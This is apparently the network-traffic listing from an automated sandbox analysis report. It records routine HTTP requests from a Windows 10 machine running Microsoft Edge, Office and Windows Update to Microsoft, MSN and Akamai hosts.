Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732326943674&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25272F1794486D883F453A57953A6C20&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1B2b9508a5e511492384f711732326945; XID=1B2b9508a5e511492384f711732326945
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732326943674&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=44bec5a9ac3b4389aca2fc3068f89e90&activityId=44bec5a9ac3b4389aca2fc3068f89e90&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EB70C8CDD82D4E85A6BBD7A85F5931A5&MUID=25272F1794486D883F453A57953A6C20 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=25272F1794486D883F453A57953A6C20; _EDGE_S=F=1&SID=16525D227A1E6A2C39BB48627BD36B7D; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=25272F1794486D883F453A57953A6C20&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=cad46880d0bd4b08949ab434720b9371 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=25272F1794486D883F453A57953A6C20; _EDGE_S=F=1&SID=16525D227A1E6A2C39BB48627BD36B7D; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732931736&P2=404&P3=2&P4=dw%2bfC%2f%2btLBNum0F0ljBDJot3ZojIYOKWKDLxEmISDXK8abqJo2p30nvwDFkVFmjGCYevppbRQnNkIqSG53IWMg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: emZ9qpOeCt/2e4yZ+jmOJkSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+Fpfdok9HKr2uev&MD=SvtX7gKP HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
